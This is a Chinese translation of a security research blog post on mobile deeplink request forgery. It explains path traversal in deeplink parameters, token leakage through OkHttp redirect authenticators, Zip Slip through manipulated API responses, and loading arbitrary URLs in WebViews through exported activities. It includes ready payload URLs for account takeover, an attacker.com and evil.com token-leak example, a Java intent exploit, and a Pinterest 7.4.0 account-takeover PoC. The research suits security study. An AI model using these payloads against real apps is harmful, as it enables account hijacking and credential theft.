原文:http://dphoeniixx.com/2020/12/13-2/
init();
在Web应用程序渗透测试中,它们的共同攻击面具有共同的漏洞。 移动应用程序之间的差异不大,我推断出我之前测试过的大多数移动应用程序中都存在一个漏洞,无论它们是小型的还是流行的。 漏洞利用可能取决于服务器端问题,客户端问题或两者兼而有之!
请求伪造
CSRF或SSRF是最流行的Web漏洞,两者都取决于相同的概念。 伪造已认证请求的一部分以执行有害操作或访问敏感数据。 在移动应用程序中,存在相同的漏洞类别。 与Web应用程序可能会有一些差异,但是却导致了同样的事情。 它来自移动应用程序中最常见的攻击面,即deeplinks(深层链接)。
deeplink现在是有危害的,不再是webview
Deeplinks现在是移动应用程序的重要组件之一。 您始终希望使用户易于浏览您的应用程序组件以查看特定内容。 很简单! 植入深层链接很容易! 但是从中解析接收到的参数并不容易。
让我们想象一下,有一个深层链接可以帮助用户导航到个人资料活动,其URI,
举个例子:
example://app/users?username=dphoeniixx
很简单,应用程序将尝试匹配深层链接路径以获取目标活动,或者对其进行配置,然后解析输入以将其传递到下一个阶段。 上述情况将从深层链接中检索用户名参数值,然后将其传递给配置文件活动。
个人资料活动将向服务器发送请求,以检索用户的个人资料。 某些API仅将参数用于其输入。 有些可能使用参数和路径段。 假设以下内容:https://api.example.com/v1/users/{username} 是应用程序将向其发送请求以检索用户个人资料的端点
问题来了,在这种情况下,攻击者可以使用路径遍历来伪造请求路径,
example://app/users?username=../../unwanted-endpoint%3fparam=value
会请求
https://api.example.com/unwated-endpoint?param=value
一些深层链接不会从参数(可能是路径段)中解析其输入! 例如 :示例:// app / users / dphoeniixx。 它仍然很脆弱; 攻击者可以像这样对路径遍历有效载荷进行编码:example://app/users/..%2f..%2funwanted-endpoint%3fparam=value,不用担心编码后的输入,Uri.getPathSegments方法将解码每个 路径段:
while ((current = path.indexOf('/', previous)) > -1) {
// This check keeps us from adding a segment if the path starts
// '/' and an empty segment for "//".
if (previous < current) {
String decodedSegment
= decode(path.substring(previous, current));
segmentBuilder.add(decodedSegment);
}
previous = current + 1;
}
有时,开发人员不使用getPathSegments方法来检索URI的路径段,但是无论如何,几乎所有的网络服务器都会解码该路径并重定向到规范化路径,例如
GET /v1/users/..%2f..%2funwated-endpoint%3fparam=value HTTP/1.1 -> HTTP/1.1 302..\nLocation: /unwanted-endpoint?param=value
伪造路径后会怎样?
上面的例子很难被利用。 它需要使用开放重定向或其他方式进行链接。 我现在将跳过它,从简单的漏洞利用开始。
一些深层链接会导致通过POST,PUT或DELETE方法发送伪造请求路径。 它常见于优惠券,邀请,促销代码等。
我们可以利用它并将伪造的请求路径伪造到任何可能对用户有害的端点, 例如 example://app/promo?code=../users/me%3femail=attacker@gmail.com -> POST /v1/users/me?email=attacker@gmail.com (账户劫持)
请注意, 您可以将POST正文放在查询字符串上:
POST /change HTTP/1.1
....
password=123456
->
POST /change?password=123456 HTTP/1.1 ....
GET请求? 该要利用吗?
GET请求有些困难。 您需要利用漏洞或功能! 一些API(例如图Facebook)具有通过参数覆盖request方法的功能。 在图Facebook API中,您可以通过method参数覆盖该方法! 可能是其他API中的方法,method,action,action等。如果幸运的话,也许可以找到它! 其他一些API通过GET执行某些有害操作,这使得利用GET请求与POST请求相同。
如果您在上述开发过程中不走运,我们还需要一些东西。 也许302打开重定向或受控的响应。
我所说的受控回应是什么意思? 假设有一个上传功能,我们可以通过端点检索文件内容。 如果我们伪造到该端点的路径,我们将能够操纵活动数据。 在这种情况下,我们有各种各样的机会执行邪恶的事情。
以下响应是端点响应:
{
"username":"dphoeniixx",
"about": "<h1>Hello on my profile</h1>", // XSS?
"resumes_uri": "/resumes/dphoeniixx-id" // another Request forgery!
"something_will_be_downloaded": "https://examples.com/files/resumes(.zip|cvs)" // overwrite files!
}
如果我们能够操纵,那么以上的回应可能会做恶事。
操纵财产可能导致XSS攻击。
resumes_uri是相对URI。 如果我们使用诸如https://attacker.com/的绝对URI对其进行操作,它将向攻击者主机发送经过身份验证的请求并泄漏访问令牌
something_will_be_downloaded URI将被下载到受害设备,它可能是一个zip文件,它将被提取,通过利用Zip Slip,我们将能够覆盖导致代码执行的本机库(如果不是zip的话),否则它将不会被提取。 我们仍然可以通过遍历路径来处理文件名来覆盖文件。 大多数应用程序通过content-disposition标头或最后一个路径段来标识文件名!
这里有很多机会需要您的注意。 实际上,您需要下定决心。
没有受控的端点响应?url跳转非常有帮助!
如果您找不到受控的端点响应,则可以利用url跳转来实现,但是在某些情况下开放重定向会更有帮助。
开发人员不会将主机验证植入到Authenticator中,这会使OkHttpClient将经过身份验证的请求发送到它所请求的任何URI,只要将请求重定向到主机即可。 OkHttpClient会将身份验证信息泄漏给您!
容易吧? 一些开发人员植入了验证。 在这种情况下,它需要对验证方法进行手动测试。 一些开发人员像这样验证主机:
protected Authenticator getBasicAuth(final String username, final String password) {
return new Authenticator() {
@Override
public Request authenticate(Proxy proxy, Response response) throws IOException {
String credential = Credentials.basic(username, password);
if(response.request().url().host().contains("www.whitelist.com")){
return response.request().newBuilder().header("Authorization", credential).build();
}else{
return response.request();
}
}
@Override
public Request authenticateProxy(Proxy proxy, Response response) throws IOException {
return null;
}
};
}
轻而易举的绕过:https://www.whitelist.com.attacker.com
我们还没有完成!
视频活动可以通过以下深层链接正则表达式/._/videos调用。 之后,它无需进一步验证就将路径传递给OkHttpClient。 由于它是相对路径,因此OkHttpClient将串联到BASE_URL(即API_HOST)并请求它! 实际上,绝对URI不需要方案段,例如://attacker.com/videos是绝对URL! OkHttpClient不会将其串联到BASE_URL,因为它具有主机名!
example://app//attacker.com/videos将验证发送到https://attacker.com/videos,用户令牌泄漏!!
特别案例
哦,抱歉,再次是webview。
让我们先看一个易受攻击的示例:
<activity android:exported="true" android:name="com.example.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https"/>
<data android:host="whitelist.com"/>
</intent-filter>
</activity>
protected void onCreate(Bundle bun) {
super.onCreate(bun);
webView.loadUrl(getIntent.getData().toString);
}
我们需要在网络视图上加载邪恶的URL。 开发人员依靠Android Intent过滤器来验证主机名。 似乎是一个主机验证。 实际上,我们还是不会去做! 当活动导出为true时,我们可以将任何URL传递给该活动! 该网址将不会通过意图过滤器验证!
EXP:
Intent evil = new Intent(Intent.ACTION_MAIN);
evil.setData(Uri.parse("https://evil.com/"));
evil.setComponent(new ComponentName("com.example", "com.example.MainActivity"));
startActivity(evil);
注意:Activity不需要导出! 它的意图过滤器足以完成您的工作!
第一个研究案例
Pinterest很脆弱! 当Pinterest应用程序(iOS / Android)开始处理深层链接时,它会检查是否存在Invitation_code参数;如果存在,它将发送POST请求到/ invite_code / [VALUE_OF_INVITE_CODE_PARAMETER] / redeem /,这是多么容易的利用!
我能够利用它并发送伪造的请求来更新电子邮件端点,然后整个帐户被接管!
POC:
https://www.pinterest.com/pin/435371488958112420/sent/?invite_code=..%2Fusers%2Fsettings%2F%3Femail%3Dexample25423523624%40example.com%23&sender=435371626385685658
自行测试Pinterest 7.4.0(https://pinterest.en.uptodown.com/android/download/2870126)
第二个研究案例
抱歉,公司拒绝透露这些漏洞。 使整个用户升级到修补版本需要很长时间。
各种各样的
您可能在移动API主机上找不到打开的重定向,但可能会找到将您重定向到可以扩展范围的任何子域的重定向。
结论
校验一切!
本文迁移自知识星球“火线Zone”